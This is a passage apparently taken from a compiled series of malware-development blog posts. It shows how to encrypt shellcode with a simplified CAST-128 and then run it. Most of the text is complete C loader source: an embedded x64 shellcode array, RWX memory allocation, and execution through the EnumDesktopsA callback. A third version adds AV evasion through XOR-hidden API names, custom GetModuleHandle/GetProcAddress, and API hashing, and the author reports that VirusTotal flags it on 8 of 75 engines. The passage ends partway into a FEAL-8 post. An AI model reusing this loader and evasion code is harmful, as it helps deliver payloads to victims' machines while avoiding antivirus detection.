printf("\n\n");

cast_encrypt_shellcode(padded, my_payload_len, subkeys);

printf("encrypted shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

cast_decrypt_shellcode(padded, my_payload_len, subkeys);

printf("decrypted shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,


PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)
NULL);
return 0;
}
In the main function, a payload (shellcode) is defined, and the key schedule is created.
The shellcode is then encrypted and decrypted using the CAST-128 algorithm.

853
As usually I used meow-meow messagebox payload:
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
and the decrypted payload is executed using the EnumDesktopsA function.
The full source code is looks like this (hack.c):
/*
* hack.c
* encrypt/decrypt payload
* via CAST-128 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/29/malware-cryptography-31.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define BLOCK_SIZE 8
#define ROUNDS 16
#define KEY_SIZE 16

854
uint32_t key[4] = {0x01234567, 0x89abcdef, 0xfedcba98, 0x76543210};

// CAST-128 round functions (simplified for demonstration)


void f1(uint32_t *d, uint32_t k) {
uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia + Ib) & 0xFFFF); // ensure no overflow
*d = (*d + f) & 0xFFFFFFFF;
}

void f2(uint32_t *d, uint32_t k) {


uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia + Ib + 1) & 0xFFFF); // avoid division by zero
*d = (*d ^ f) & 0xFFFFFFFF;
}

void f3(uint32_t *d, uint32_t k) {


uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia - Ib) & 0xFFFF); // ensure no overflow
*d = (*d ^ f) & 0xFFFFFFFF;
}

// key schedule for CAST-128


void cast_key_schedule(uint32_t* key, uint32_t subkeys[ROUNDS][4]) {
for (int i = 0; i < ROUNDS; i++) {
subkeys[i][0] = key[0];
subkeys[i][1] = key[1];
subkeys[i][2] = key[2];
subkeys[i][3] = key[3];
}
}

// CAST-128 encryption
void cast_encrypt(uint32_t* block, uint32_t subkeys[ROUNDS][4]) {
uint32_t left = block[0];
uint32_t right = block[1];

for (int i = 0; i < ROUNDS; i++) {


uint32_t temp = right;
switch (i % 3) {
case 0:

855
f1(&right, subkeys[i][0]);
break;
case 1:
f2(&right, subkeys[i][1]);
break;
case 2:
f3(&right, subkeys[i][2]);
break;
}
right ^= left;
left = temp;
}

block[0] = right;
block[1] = left;
}

// CAST-128 decryption
void cast_decrypt(uint32_t* block, uint32_t subkeys[ROUNDS][4]) {
uint32_t left = block[0];
uint32_t right = block[1];

for (int i = ROUNDS - 1; i >= 0; i--) {


uint32_t temp = right;
switch (i % 3) {
case 0:
f1(&right, subkeys[i][0]);
break;
case 1:
f2(&right, subkeys[i][1]);
break;
case 2:
f3(&right, subkeys[i][2]);
break;
}
right ^= left;
left = temp;
}

block[0] = right;
block[1] = left;
}

void cast_encrypt_shellcode(unsigned char* shellcode, int shellcode_len,


uint32_t subkeys[ROUNDS][4]) {
for (int i = 0; i < shellcode_len / BLOCK_SIZE; i++) {

856
cast_encrypt((uint32_t*)(shellcode + i * BLOCK_SIZE), subkeys);
}
}

void cast_decrypt_shellcode(unsigned char* shellcode, int shellcode_len,


uint32_t subkeys[ROUNDS][4]) {
for (int i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
cast_decrypt((uint32_t*)(shellcode + i * BLOCK_SIZE), subkeys);
}
}

int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int my_payload_len = sizeof(my_payload);


unsigned char padded[my_payload_len];
memcpy(padded, my_payload, my_payload_len);

uint32_t subkeys[ROUNDS][4];
cast_key_schedule(key, subkeys);

printf("original shellcode: ");


for (int i = 0; i < my_payload_len; i++) {

857
printf("%02x ", my_payload[i]);
}
printf("\n\n");

cast_encrypt_shellcode(padded, my_payload_len, subkeys);

printf("encrypted shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

cast_decrypt_shellcode(padded, my_payload_len, subkeys);

printf("decrypted shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,


PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)
NULL);
return 0;
}
So, this example demonstrates how to use the CAST-128 encryption algorithm to en-
crypt and decrypt payload. For checking correctness, added printing logic.

demo
Let’s go to see everything in action. Compile it (in my linux machine):
x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc

858
Then, just run it in the victim’s machine (windows 11 x64 in my case):
.\hack.exe

As you can see, everything is worked perfectly! =.. =


Calculating Shannon entropy:
python3 entropy.py -f hack.exe

859
Our payload in the .text section.

practical example 2
Update our simple logic, just replace entire payload decryption and running to decrypt
and run shellcode like this:
void cast_decrypt_and_execute_shellcode(unsigned char* shellcode, int
shellcode_len, uint32_t subkeys[ROUNDS][4]) {
LPVOID mem_block = NULL;
// allocate a single block for execution
mem_block = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (mem_block == NULL) {
printf("memory allocation failed\n");
exit(1);
}

// decrypt the entire shellcode into the allocated memory


for (int i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
uint32_t decrypted_block[2];
memcpy(decrypted_block, shellcode + i * BLOCK_SIZE, BLOCK_SIZE);
cast_decrypt(decrypted_block, subkeys);
memcpy((char *)mem_block + i * BLOCK_SIZE, decrypted_block, BLOCK_SIZE);
}

// execute the shellcode using EnumDesktopsA


EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem_block,
(LPARAM)NULL);
}

demo 2
Let’s go to see second version in action. Compile it (in my linux machine):

860
x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc

Then, run this version on windows 11 x64:


.\hack2.exe

This version is also worked perfectly.

practical example 3
Let’s update our main “malware”: add some evasion tricks like function call obfuscation,
hashing function names, add GetModuleHandle and GetProcAddress implementations.
This version is looks like this - hack3.c:
/*
* hack3.c
* encrypt/decrypt payload

861
* via CAST-128 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/29/malware-cryptography-31.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <winternl.h>
#include <shlwapi.h>
#include <string.h>

#define BLOCK_SIZE 8
#define ROUNDS 16
#define KEY_SIZE 16

int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) {


_wcslwr_s(substr, MAX_PATH);
_wcslwr_s(mystr, MAX_PATH);

int result = 0;
if (StrStrW(mystr, substr) != NULL) {
result = 1;
}

return result;
}

typedef BOOL (CALLBACK * EnumDesktopsA_t)(


HWINSTA hwinsta,
DESKTOPENUMPROCA lpEnumFunc,
LPARAM lParam
);

LPVOID (WINAPI * pva)(LPVOID lpAddress, SIZE_T dwSize,


DWORD flAllocationType, DWORD flProtect);

unsigned char cva[] =


{ 0x27, 0x1c, 0x13, 0x17, 0x1e, 0x10, 0x19, 0x20, 0xf, 0x7, 0x1e, 0x16 };
unsigned char udll[] =
{ 0x4, 0x6, 0x4, 0x11, 0x58, 0x43, 0x5b, 0x5, 0xf, 0x7 };
unsigned char kdll[] =
{ 0x1a, 0x10, 0x13, 0xd, 0xe, 0x1d, 0x46, 0x53, 0x4d, 0xf, 0x1d, 0x19 };

char secretKey[] = "quackquack";

862
// encryption / decryption XOR function
void d(char *buffer, size_t bufferLength, char *key, size_t keyLength) {
int keyIndex = 0;
for (int i = 0; i < bufferLength; i++) {
if (keyIndex == keyLength - 1) keyIndex = 0;
buffer[i] = buffer[i] ^ key[keyIndex];
keyIndex++;
}
}

// custom implementation
HMODULE myGM(LPCWSTR lModuleName) {

// obtaining the offset of PPEB from the beginning of TEB


PEB* pPeb = (PEB*)__readgsqword(0x60);

// obtaining the address of the head node in a linked list


// which represents all the models that are loaded into the process.
PEB_LDR_DATA* Ldr = pPeb->Ldr;
LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList;

// iterating to the next node. this will be our starting point.


LIST_ENTRY* pStartListEntry = ModuleList->Flink;

// iterating through the linked list.


WCHAR mystr[MAX_PATH] = { 0 };
WCHAR substr[MAX_PATH] = { 0 };
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList;
pListEntry = pListEntry->Flink) {

// getting the address of current


// LDR_DATA_TABLE_ENTRY (which represents the DLL).
LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)
((BYTE*)pListEntry - sizeof(LIST_ENTRY));

// checking if this is the DLL we are looking for


memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
memset(substr, 0, MAX_PATH * sizeof(WCHAR));
wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
wcscpy_s(substr, MAX_PATH, lModuleName);
if (cmpUnicodeStr(substr, mystr)) {
// returning the DLL base address.
return (HMODULE)pEntry->DllBase;
}
}

863
// the needed DLL wasn't found
printf("failed to get a handle to %s\n", lModuleName);
return NULL;
}

FARPROC myGPA(HMODULE hModule, LPCSTR lpProcName) {


PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders =
(PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDirectory =
(PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +


exportDirectory->AddressOfFunctions);
WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfNames);

for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {


if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) {
return (FARPROC)((BYTE*)hModule + addressOfFunctions
[addressOfNameOrdinals[i]]);
}
}

return NULL;
}

uint32_t key[4] = {0x01234567, 0x89abcdef, 0xfedcba98, 0x76543210};

// CAST-128 round functions (simplified for demonstration)


void f1(uint32_t *d, uint32_t k) {
uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia + Ib) & 0xFFFF); // ensure no overflow
*d = (*d + f) & 0xFFFFFFFF;
}

void f2(uint32_t *d, uint32_t k) {


uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;

864
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia + Ib + 1) & 0xFFFF); // avoid division by zero
*d = (*d ^ f) & 0xFFFFFFFF;
}

void f3(uint32_t *d, uint32_t k) {


uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia - Ib) & 0xFFFF); // ensure no overflow
*d = (*d ^ f) & 0xFFFFFFFF;
}

// key schedule for CAST-128


void cast_key_schedule(uint32_t* key, uint32_t subkeys[ROUNDS][4]) {
for (int i = 0; i < ROUNDS; i++) {
subkeys[i][0] = key[0];
subkeys[i][1] = key[1];
subkeys[i][2] = key[2];
subkeys[i][3] = key[3];
}
}

// CAST-128 encryption
void cast_encrypt(uint32_t* block, uint32_t subkeys[ROUNDS][4]) {
uint32_t left = block[0];
uint32_t right = block[1];

for (int i = 0; i < ROUNDS; i++) {


uint32_t temp = right;
switch (i % 3) {
case 0:
f1(&right, subkeys[i][0]);
break;
case 1:
f2(&right, subkeys[i][1]);
break;
case 2:
f3(&right, subkeys[i][2]);
break;
}
right ^= left;
left = temp;
}

block[0] = right;

865
block[1] = left;
}

// CAST-128 decryption
void cast_decrypt(uint32_t* block, uint32_t subkeys[ROUNDS][4]) {
uint32_t left = block[0];
uint32_t right = block[1];

for (int i = ROUNDS - 1; i >= 0; i--) {


uint32_t temp = right;
switch (i % 3) {
case 0:
f1(&right, subkeys[i][0]);
break;
case 1:
f2(&right, subkeys[i][1]);
break;
case 2:
f3(&right, subkeys[i][2]);
break;
}
right ^= left;
left = temp;
}

block[0] = right;
block[1] = left;
}

void cast_encrypt_shellcode(unsigned char* shellcode, int shellcode_len,


uint32_t subkeys[ROUNDS][4]) {
for (int i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
cast_encrypt((uint32_t*)(shellcode + i * BLOCK_SIZE), subkeys);
}
}

DWORD calcMyHash(char* data) {


DWORD hash = 0x23;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}

static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {


PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;

866
PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h +
img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)h + img_nt_header->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
// printf("successfully found! %s - %d\n", pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}

void cast_decrypt_and_execute_shellcode(unsigned char* shellcode, int


shellcode_len, uint32_t subkeys[ROUNDS][4]) {
LPVOID mem_block = NULL;
// decrypt function string
d((char*)cva, sizeof(cva), secretKey, sizeof(secretKey));
// allocate memory buffer for payload
d((char*)kdll, sizeof(kdll), secretKey, sizeof(secretKey));

wchar_t wtext[20];
mbstowcs(wtext, kdll, strlen(kdll)+1); //plus null
LPWSTR k_dll = wtext;

// HMODULE kernel = GetModuleHandle((LPCSTR)kdll);


HMODULE kernel = myGM(k_dll);
// pva = (LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress
// (kernel, (LPCSTR)cva);
pva = (LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD))myGPA(kernel,
(LPCSTR)cva);

// allocate a single block for execution


mem_block = pva(NULL, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem_block == NULL) {
printf("memory allocation failed\n");
exit(1);
}

867
// decrypt the entire shellcode into the allocated memory
for (int i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
uint32_t decrypted_block[2];
memcpy(decrypted_block, shellcode + i * BLOCK_SIZE, BLOCK_SIZE);
cast_decrypt(decrypted_block, subkeys);
memcpy((char *)mem_block + i * BLOCK_SIZE, decrypted_block, BLOCK_SIZE);
}

d((char*)udll, sizeof(udll), secretKey, sizeof(secretKey));


HMODULE mod = LoadLibrary((LPCSTR)udll);
LPVOID addr = getAPIAddr(mod, 121801766);
// printf("0x%p\n", addr);
EnumDesktopsA_t myEnumDesktopsA = (EnumDesktopsA_t)addr;

// execute the shellcode using EnumDesktopsA


myEnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem_block,
(LPARAM)NULL);
}

int main() {
unsigned char padded[] = "\x92\x15\x7e\x1b\x46\x4d\xff\xff"
"\x7d\x55\x52\x41\x61\xcc\x51\x41\x52\x73\x83\x33\x2f\x47"
"\xd2\x65\x4d\x72\xd9\x32\xdd\x92\x8b\x52\x30\x50\x76\xc3"
"\xe3\xb6\x3e\x48\x6f\x80\xe7\x74\xca\x8c\xb7\x4a\x89\xcf"
"\xf1\x65\x42\x9b\xc0\xac\x5a\xe1\x3d\xc3\x26\x8d\x41\xc1"
"\x46\xf4\xac\x53\x3c\x8f\xed\x52\x10\x26\x1e\x76\x05\x3b"
"\x20\x3e\x00\x11\x02\xc3\x0f\x05\x3e\x8b\x13\x71\x86\xc0"
"\x85\x91\x85\xc0\xc1\x50\x76\x8a\x32\xda\x3e\x8b\x3e\x91"
"\x1e\x0d\xf6\x65\x20\x49\x8e\x91\x29\x62\xf9\x95\xc9\x3e"
"\x8b\x52\xe3\xc5\x51\x22\xd6\x4d\x6b\x09\x09\xf0\x50\x32"
"\x41\xc1\x55\x4b\xa1\x74\x68\x80\xe0\x75\xf1\x72\x45\x46"
"\x75\xb8\x08\x45\x93\xd8\x30\x5d\x6f\x63\x44\x8b\xb9\x22"
"\x77\x40\x76\xc8\x3e\x41\x3f\x54\x09\x22\x2d\x60\x40\x1c"
"\xdb\x68\xd5\xb6\xb6\x1a\x04\x88\xbd\x8f\x88\x1f\x40\xa3"
"\x58\x5e\x70\xc9\x03\x02\xde\x9d\x41\x5a\x19\x2f\x13\xc0"
"\xee\xa8\xff\xe0\x7b\xc0\xd2\x48\xf9\xce\x8b\x12\xd9\x7d"
"\xb6\x38\x65\x8d\x49\xc7\x01\x27\x48\x8d\x11\x1d\x48\x8d"
"\x66\xfb\x4c\x8d\x16\x1b\x4c\x8d\xf3\xa0\x30\xc9\x7a\x8a"
"\x31\xc9\xf9\x77\x45\x55\x3e\x46\xff\xd5\x56\x36\xa7\x8c"
"\x88\x2d\xba\xa6\x7c\xde\x19\x3b\x80\x97\x83\xc4\x18\x6a"
"\xfd\x9c\x1e\xc3\xfb\xe0\x68\xd9\xcb\x2d\x36\xff\x6f\x6a"
"\x41\x7e\x94\xc4\xa7\xf9\xd5\x4d\x35\x1b\x18\x5a\x71\x2c"
"\x6f\x77\xed\x5f\x63\x63\x0d\x41\x5e\x3d\x00\x00";

uint32_t subkeys[ROUNDS][4];
cast_key_schedule(key, subkeys);

868
cast_decrypt_and_execute_shellcode(padded, sizeof(padded), subkeys);

return 0;
}

demo 3
Compile this version:
x86_64-w64-mingw32-g++ -O2 hack3.c -o hack3.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermission

Then, run this version on windows 11 x64:


.\hack3.exe

869
As you can see, this version is also worked perfectly! =.. =
Upload this version to AV scanner:

Note that only Windows Defender and Secureageapex detect this file as malicious:

870
https://websec.nl/en/scanner/result/e2b88162-fd20-4f4b-974a-b4182747f0cb
Let’s go to upload this hack3.exe to VirusTotal:

https://www.virustotal.com/gui/file/314a02b70ec00b33aaf1882f8c330a8bfe7c951a
32d1b103986052313a4fb5b3/detection
As you can see, only 8 of 75 AV engines detect our file as malicious.
Despite its strengths, CAST-128 has been the subject of several cryptanalytic efforts:
Differential Cryptanalysis: This method attempts to exploit predictable changes in the
output resulting from specific changes in the input. CAST-128’s design, particularly the
non-linear S-boxes and key-dependent transformations, provides resistance against
this attack.
Linear Cryptanalysis: This technique seeks to find linear approximations to describe
the behavior of the block cipher. CAST-128’s structure and key schedule make linear
approximations difficult, providing resistance to this form of analysis.

871
Wikipedia states that however, no practical attacks have been found that can break
CAST-128 faster than a brute force search, making it a reliable choice for applications
that require strong encryption.
While my implementation is simplified and CAST-128 is not as widely used today as
some other ciphers like AES, it remains a robust encryption algorithm, especially when
backward compatibility or specific security requirements dictate its use. The careful
design of the S-boxes and key schedule contributes to its resilience against known cryp-
tographic attacks.
I hope this post is useful for malware researchers, C/C++ programmers, spreads aware-
ness to the blue teamers of this interesting encrypting technique, and adds a weapon to
the red teamers arsenal.
CAST-128 encryption
AV engines evasion for C++ simple malware - part 2: function call obfuscation
AV engines evasion techniques - part 5. Simple C++ example.
Malware AV/VM evasion - part 15: WinAPI GetModuleHandle implementation. Simple
C++ example.
Malware AV/VM evasion - part 16: WinAPI GetProcAddress implementation. Simple
C++ example.
Malware and cryptography 1
source code in github

872
95. malware and cryptography research - part 4 (32): encrypt pay-
load via FEAL-8 algorithm. Simple C example.

This post is the result of my own research on using FEAL-8 block cipher on malware
development. As usual, exploring various crypto algorithms, I decided to check what
would happen if we apply this to encrypt/decrypt the payload.

FEAL
Akihiro Shimizu and Shoji Miyaguchi from NTT Japan developed this algorithm. A
64-bit block and key are used. The goal was to create an algorithm similar to DES
but with a stronger round function. The algorithm can run faster with fewer rounds.
Unfortunately, reality did not meet the design objectives.
The encryption procedure begins with a 64-bit chunk of plaintext. First, the data
block is XORed using 64-key bits. The data block is then divided into left and right
halves. The left half is combined with the right half to create a new right half. The left
and new right halves go through n rounds (four at first). In each round, the right half is
combined with 16-bits of key material (via function f) and then XORed with the left
half to create the new right half. The new left half is formed from the original right half
(before the round). After n rounds (remember not to switch the left and right halves
after the nth round), the left half is XORed with the right half to create a new right half,
which is then concatenated to produce a 64-bit whole. The data block is XORed with
another 64-bits of key material before the algorithm concludes.

practical example
First of all, we need rotl function:
// rotate left 1 bit
uint32_t rotl(uint32_t x, int shift) {

873
return (x << shift) | (x >> (32 - shift));
}
This function performs a left bitwise rotation on a 32-bit unsigned integer (x). It shifts
the bits of x to the left by a specified number of positions (shift), while the bits that
overflow on the left side are moved to the right side. Bitwise rotations are commonly
used in cryptographic algorithms to introduce diffusion and obfuscate patterns in data.
Next one is the F function:
uint32_t F(u32 x1, u32 x2) {
return rotl((x1 ^ x2), 2);
}
This function is the core mixing function in the FEAL-8 algorithm. It takes two 32-bit
values (x1 and x2), applies a bitwise XOR (^) to them, and then rotates the result to
the left by 2-bits using the previously defined rotl function. This helps to increase
the nonlinearity of the encryption process.
Next one is G function:
// function G used in FEAL-8
void G(uint32_t* left, uint32_t* right, uint8_t* roundKey) {
uint32_t tempLeft = *left;
*left = *right;
*right = tempLeft ^ F(*left, *right) ^ *(uint32_t*)roundKey;
}
The G function is the main transformation function in each round of FEAL-8. It operates
on the left and right halves of the data block. It performs the following steps:
- Saves the left half (tempLeft).
- Sets the left half equal to the right half (*left = *right)
- Updates the right half with the XOR of tempLeft, the result of the F function, and the
round key.
This function performs the key transformations in each round of FEAL-8 and introduces
the necessary diffusion and confusion in the data block. The XOR operation and the F
function help mix the data and make the encryption resistant to attacks.
The key schedule function generates a series of round subkeys from the main encryption
key (key). It creates a different subkey for each of the 8-rounds of FEAL-8. In each
round, the key schedule performs an XOR operation between each byte of the key and
the sum of the round index (i) and the byte index (j):
// key schedule for FEAL-8
void key_schedule(uint8_t* key) {
for (int i = 0; i < ROUNDS; i++) {
for (int j = 0; j < 8; j++) {
K[i][j] = key[j] ^ (i + j);
}

874
}
}
Then, the next one is encryption logic:
// FEAL-8 encryption function
void feal8_encrypt(uint32_t* block, uint8_t* key) {
uint32_t left = block[0], right = block[1];

// perform 8 rounds of encryption


for (int i = 0; i < ROUNDS; i++) {
G(&left, &right, K[i]);
}

// final swapping of left and right


block[0] = right;
block[1] = left;
}
This function performs FEAL-8 encryption on a 64-bit data block (split into two
32-bit halves: left and right). It performs 8-rounds of encryption by applying
the G function with the appropriate round key in each round.
Decryption logic:
// FEAL-8 decryption function
void feal8_decrypt(uint32_t* block, uint8_t* key) {
uint32_t left = block[0], right = block[1];

// perform 8 rounds of decryption in reverse


for (int i = ROUNDS - 1; i >= 0; i--) {
G(&left, &right, K[i]);
}

// final swapping of left and right


block[0] = right;
block[1] = left;
}
And shellcode encryption and decryption logic:
// function to encrypt shellcode using FEAL-8
void feal8_encrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint8_t* key) {
key_schedule(key); // Generate subkeys
int i;
uint32_t* ptr = (uint32_t*)shellcode;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
feal8_encrypt(ptr, key);

875
ptr += 2;
}
// handle remaining bytes by padding with 0x90 (NOP)
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
memcpy(pad, ptr, remaining);
feal8_encrypt((uint32_t*)pad, key);
memcpy(ptr, pad, remaining);
}
}

